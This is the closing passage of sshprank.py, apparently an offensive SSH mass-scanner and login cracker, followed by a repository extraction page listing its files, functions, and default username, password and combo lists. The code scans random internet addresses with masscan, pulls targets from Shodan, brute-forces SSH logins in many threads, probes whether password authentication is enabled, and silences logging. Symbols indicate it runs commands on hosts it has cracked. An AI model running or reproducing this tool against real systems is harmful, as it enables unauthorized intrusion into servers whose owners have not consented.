      with ThreadPoolExecutor(opts['hthreads']) as exe:
        futures = set()
        max_pending = opts['hthreads'] * 4
        for line in f:
          line = line.strip()
          if not line:
            continue
          if ':' in line:
            host, p = line.split(':', 1)
            host = host.strip()
            ports = [pp.rstrip() for pp in p.split(',')]
          else:
            host = line
            ports = ['22']
          if not host:
            continue
          _progress_inc_total(len(ports) * creds)
          if len(futures) >= max_pending:
            _, futures = wait(futures, return_when=FIRST_COMPLETED)
          futures.add(exe.submit(run_threads, host, ports))
  except (FileNotFoundError, PermissionError) as err:
    log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error')

  return


def crack_random():
  ptargets = []

  for _ in range(opts['random']):
    ptargets.append(gen_ipv4addr())
  ptargets = [x for x in ptargets if x is not None]

  opts['masscan_opts'] += ' ' + ' '.join(ptargets)

  return


def crack_scan():
  with ThreadPoolExecutor(1) as e:
    future = e.submit(portscan)
    status(future, 'scanning sshds', pre_esc='\r')
  log('\n')
  targets = grep_service(future.result())
  num_targets = len(targets)

  if num_targets > 0:
    opts['targetlist'] = 'sshds.txt'
    log_targets(targets, opts['targetlist'])
    log(f'found {num_targets} active sshds', 'good')
    crack_multi()
  else:
    log('no sshds found :(', _type='warn')

  return


def check_banners():
  try:
    with open(opts['targetlist'], 'r', encoding='latin-1') as fh:
      with ThreadPoolExecutor(opts['bthreads']) as exe:
        futures = set()
        max_pending = opts['bthreads'] * 4
        for line in fh:
          line = line.strip()
          if not line:
            continue
          target = parse_target(line)
          host = ''.join([*target])
          if not host:
            continue
          ports = target.get(host)
          for port in ports:
            if len(futures) >= max_pending:
              _, futures = wait(futures, return_when=FIRST_COMPLETED)
            futures.add(exe.submit(grab_banner, host, port))
  except (FileNotFoundError, PermissionError) as err:
    log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error')

  return


def check_pwauth(host, port):
  sock = None
  t = None
  try:
    sock = socket.create_connection(
      (host, int(port)), timeout=opts['ctimeout']
    )
    t = paramiko.Transport(sock)
    sec = t.get_security_options()
    try:
      sec.kex = list(_pt.Transport._preferred_kex)
      sec.ciphers = list(_pt._ENCRYPT.keys())
      sec.digests = list(_pt._MAC_INFO.keys())
    except Exception:
      pass
    t.start_client(timeout=opts['ctimeout'])
    t.auth_password('__sshprank_probe__', os.urandom(8).hex())
    log(f'{host}:{port}:pwauth=yes\n')
    if opts['verbose']:
      log(f'pwauth enabled: {host}:{port}', 'good')
  except paramiko.BadAuthenticationType as err:
    allowed = ','.join(err.allowed_types)
    log(f'{host}:{port}:pwauth=no ({allowed})\n')
    if opts['verbose']:
      log(f'pwauth disabled: {host}:{port} ({allowed})', 'warn')
  except paramiko.AuthenticationException:
    log(f'{host}:{port}:pwauth=yes\n')
    if opts['verbose']:
      log(f'pwauth enabled: {host}:{port}', 'good')
  except (paramiko.ssh_exception.NoValidConnectionsError,
      socket.error):
    if opts['verbose']:
      log(f'could not connect: {host}:{port}', 'warn')
  except paramiko.SSHException as err:
    if opts['verbose']:
      log(f'ssh error: {host}:{port} ({str(err)})', 'warn')
  except Exception as err:
    if opts['verbose']:
      log(f'other error: {host}:{port} ({str(err)})', 'warn')
  finally:
    if t:
      try:
        t.close()
      except OSError:
        pass
    if sock:
      try:
        sock.close()
      except OSError:
        pass

  return


def check_pwauths():
  try:
    with open(opts['targetlist'], 'r', encoding='latin-1') as fh:
      with ThreadPoolExecutor(opts['bthreads']) as exe:
        futures = set()
        max_pending = opts['bthreads'] * 4
        for line in fh:
          line = line.strip()
          if not line:
            continue
          target = parse_target(line)
          host = ''.join([*target])
          if not host:
            continue
          ports = target.get(host)
          for port in ports:
            if len(futures) >= max_pending:
              _, futures = wait(futures, return_when=FIRST_COMPLETED)
            futures.add(exe.submit(check_pwauth, host, port))
  except (FileNotFoundError, PermissionError) as err:
    log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error')

  return


def crack_shodan(targets):
  log(f'w00t w00t, found {len(targets)} sshds', 'good')
  log('cracking shodan targets', 'info')
  opts['targetlist'] = 'sshds.txt'
  log_targets(targets, opts['targetlist'])
  log(f'saved found sshds to {opts["targetlist"]}', 'info')
  log('cracking found targets', 'info')
  crack_multi()

  return


def shodan_search():
  s = opts['sho_opts'].split(';')
  if len(s) != 3:
    log('format wrong, check usage and examples', 'error')
  opts['sho_str'] = s[0]
  opts['sho_page'] = int(s[1])
  opts['sho_lim'] = int(s[2])

  try:
    api = shodan.Shodan(opts['sho_key'])
    res = api.search(opts['sho_str'], opts['sho_page'], opts['sho_lim'])
    for r in res.get('matches', []):
      ip = r.get('ip_str')
      port = r.get('port')
      if not ip or not port:
        continue
      banner = (r.get('data') or '').split('\n')[0]
      if opts['verbose']:
        log(f'found sshd: {ip}:{port}:{banner}', 'good', esc='\n')
      stargets.append(f'{ip}:{port}:{banner}\n')
  except shodan.APIError as e:
    log(f'shodan error: {str(e)}', 'error')

  return


def is_root():
  if os.geteuid() == 0:
    return True

  return False


def main(cmdline):
  sys.stderr.write(BANNER + '\n\n')
  check_argc(cmdline)
  parse_cmdline(cmdline)
  check_argv(cmdline)

  if opts['sshver']:
    v = opts['sshver']
    if v.startswith('SSH-'):
      parts = v.split('-', 2)
      if len(parts) == 3:
        v = parts[2]
    paramiko.Transport._CLIENT_ID = v

  log('game started', 'info')

  if opts['session']:
    sess = _load_session(opts['session'])
    if sess:
      _apply_session(sess)
      log(f'restored session from {opts["session"]}', 'info')

  global _progress_running
  prog_thread = None
  if not opts['verbose']:
    _progress_running = True
    prog_thread = threading.Thread(target=_progress_loop, daemon=True)
    prog_thread.start()

  interrupted = False
  try:
    if '-p' in cmdline:
      log('checking password auth', 'info', esc='\n')
      if not opts['targetlist'] and opts['targets']:
        host, ports = list(opts['targets'].copy().items())[0]
        for port in ports:
          check_pwauth(host, port)
      else:
        check_pwauths()
    elif '-b' in cmdline:
      log('grabbing banners', 'info', esc='\n')
      if not opts['targetlist'] and opts['targets']:
        host, ports = list(opts['targets'].copy().items())[0]
        for port in ports:
          grab_banner(host, port)
      else:
        check_banners()
    elif '-m' in cmdline:
      if is_root():
        if '-r' in cmdline:
          log('scanning and cracking random targets', 'info')
          crack_random()
          crack_scan()
        else:
          log('scanning and cracking targets', 'info')
          crack_scan()
      else:
        log('get r00t for this option', 'error')
    elif '-s' in cmdline:
      with ThreadPoolExecutor(1) as e:
        future = e.submit(shodan_search)
        status(future, 'searching for sshds via shodan\r')
      log('\n')
      if len(stargets) > 0:
        crack_shodan(stargets)
      else:
        log('no sshds found :(', 'info')
    elif not opts['targetlist'] and opts['targets']:
      log('cracking single target', 'info')
      crack_single()
    elif opts['targetlist']:
      if opts['shuffle']:
        shuffle_targets()
      if opts['randbrute'] is not None:
        label = 'infinite' if opts['randbrute'] == 0 else str(opts['randbrute'])
        log(f'random brute mode ({label} attempts)', 'info')
        crack_rand_brute()
      else:
        crack_multi()
  except KeyboardInterrupt:
    interrupted = True
    _progress_running = False
    log('you aborted me', _type='warn', pre_esc='\r  \r')
  finally:
    signal.signal(signal.SIGINT, signal.SIG_IGN)
    signal.signal(signal.SIGTERM, signal.SIG_IGN)
    _progress_running = False
    if prog_thread:
      prog_thread.join(timeout=1)
    _save_and_log_session(interrupted)
    log('game over', 'info')
    _cleanup_temp_files()
    os._exit(SUCCESS)

  return


def _silence_close_ebadf(args):
  if args.exc_type is OSError and \
      getattr(args.exc_value, 'errno', None) == errno.EBADF:
    return
  threading.__excepthook__(args)

  return


def _sigterm_handler(signum, frame):
  raise KeyboardInterrupt

  return


if __name__ == '__main__':
  logger = logging.getLogger()
  logger.disabled = True
  logger.setLevel(100)
  logger.propagate = False
  logging.disable(logging.ERROR)
  logging.disable(logging.FATAL)
  logging.disable(logging.CRITICAL)
  logging.disable(logging.DEBUG)
  logging.disable(logging.WARNING)
  logging.disable(logging.INFO)
  if not sys.warnoptions:
    warnings.simplefilter('ignore')
  threading.excepthook = _silence_close_ebadf
  signal.signal(signal.SIGTERM, _sigterm_handler)

  main(sys.argv[1:])

Download .txt
gitextract_655iuklf/

├── .gitignore
├── README.md
├── docs/
│   ├── LICENSE
│   ├── TODO
│   └── requirements.txt
├── lists/
│   ├── combo.list
│   ├── pws.list
│   └── user.list
└── sshprank.py
Download .txt
SYMBOL INDEX (47 symbols across 1 files)

FILE: sshprank.py
  function log (line 252) | def log(msg='', _type='normal', pre_esc='', esc='\n'):
  function parse_target (line 282) | def parse_target(target):
  function read_file (line 304) | def read_file(_file):
  function _cleanup_temp_files (line 316) | def _cleanup_temp_files():
  function _write_temp_targets (line 327) | def _write_temp_targets(prefix, hosts, port_part):
  function _expand_cidr_to_file (line 342) | def _expand_cidr_to_file(arg):
  function _expand_range_to_file (line 363) | def _expand_range_to_file(arg):
  function parse_cmdline (line 401) | def parse_cmdline(cmdline):
  function check_argv (line 526) | def check_argv(cmdline):
  function check_argc (line 570) | def check_argc(cmdline):
  function grab_banner (line 577) | def grab_banner(host, port):
  class PortScanner (line 599) | class PortScanner(masscan.PortScanner):
    method scan_result (line 601) | def scan_result(self):
  function portscan (line 605) | def portscan():
  function grep_service (line 619) | def grep_service(scan, service='ssh', prot='tcp'):
  function log_targets (line 645) | def log_targets(targets, logfile):
  function _hash_file (line 656) | def _hash_file(path):
  function _save_session (line 670) | def _save_session(path):
  function _resolve_session_path (line 698) | def _resolve_session_path(interrupted):
  function _save_and_log_session (line 707) | def _save_and_log_session(interrupted):
  function _load_session (line 714) | def _load_session(path):
  function _apply_session (line 727) | def _apply_session(data):
  function _progress_inc_done (line 750) | def _progress_inc_done(n=1):
  function _progress_inc_total (line 758) | def _progress_inc_total(n):
  function _progress_loop (line 766) | def _progress_loop():
  function status (line 792) | def status(future, msg, pre_esc=''):
  function _run_remote_cmd (line 799) | def _run_remote_cmd(cli, cmd):
  function crack_login (line 826) | def crack_login(host, port, username, password):
  function _creds_per_port (line 907) | def _creds_per_port():
  function crack_port (line 923) | def crack_port(host, port):
  function run_threads (line 970) | def run_threads(host, ports):
  function gen_ipv4addr (line 980) | def gen_ipv4addr():
  function shuffle_targets (line 992) | def shuffle_targets():
  function crack_rand_brute (line 1008) | def crack_rand_brute():
  function crack_single (line 1052) | def crack_single():
  function crack_multi (line 1062) | def crack_multi():
  function crack_random (line 1092) | def crack_random():
  function crack_scan (line 1104) | def crack_scan():
  function check_banners (line 1123) | def check_banners():
  function check_pwauth (line 1148) | def check_pwauth(host, port):
  function check_pwauths (line 1202) | def check_pwauths():
  function crack_shodan (line 1227) | def crack_shodan(targets):
  function shodan_search (line 1239) | def shodan_search():
  function is_root (line 1265) | def is_root():
  function main (line 1272) | def main(cmdline):
  function _silence_close_ebadf (line 1369) | def _silence_close_ebadf(args):
  function _sigterm_handler (line 1378) | def _sigterm_handler(signum, frame):
Condensed preview — 9 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (78K chars).
[
  {
    "path": ".gitignore",
    "chars": 246,
    "preview": ".bash_history\nbuild.sh\nclean.sh\n*.db\n.DS_Store\n.git\nid_dsa\nid_rsa\n*.key\n*.log\n*.o\nowned.txt\npasswd\npaused.conf\n*.pyc\n__p"
  },
  {
    "path": "README.md",
    "chars": 6887,
    "preview": "# Description\n\nA fast SSH mass-scanner, login cracker, banner grabber and password auth\nchecker tool using the python-ma"
  },
  {
    "path": "docs/LICENSE",
    "chars": 1080,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2012-2025 noptrix\n\nPermission is hereby granted, free of charge, to any person obta"
  },
  {
    "path": "docs/TODO",
    "chars": 10058,
    "preview": "===> 1.x.x\n\n  [ ] new feature\n      anti fail2ban\n  [ ] new feature\n      honeypot detection system\n  [ ] new featrue\n  "
  },
  {
    "path": "docs/requirements.txt",
    "chars": 31,
    "preview": "paramiko\npython-masscan\nshodan\n"
  },
  {
    "path": "lists/combo.list",
    "chars": 1210,
    "preview": "accounting:accounting\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:admin\nadmin:admin@123\nadmin:admin123\nadmin:password\nansi"
  },
  {
    "path": "lists/pws.list",
    "chars": 12330,
    "preview": "\n!!!!\n....\n$ummer!\n$ummer#\n$ummer.\n$ummer?\n$ummer@\n$ummer1\n$ummer1!\n$ummer1?\n$ummer12\n$ummer12!\n$ummer12?\n$ummer123\n$umm"
  },
  {
    "path": "lists/user.list",
    "chars": 505,
    "preview": "accounting\nadmin\nansible\napache\nbackup\ncentos\ndebian\ndefault\ndeploy\ndev\ndeveloper\nec2-user\nelastic\nftp\nftpuser\nfwadmin\ng"
  },
  {
    "path": "sshprank.py",
    "chars": 42059,
    "preview": "#!/usr/bin/python3\n# -*- coding: utf-8 -*- ########################################################\n#               ____"
  }
]

About this extraction

This page contains the full source code of the noptrix/sshprank GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 9 files (72.7 KB), approximately 22.4k tokens, and a symbol index with 47 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!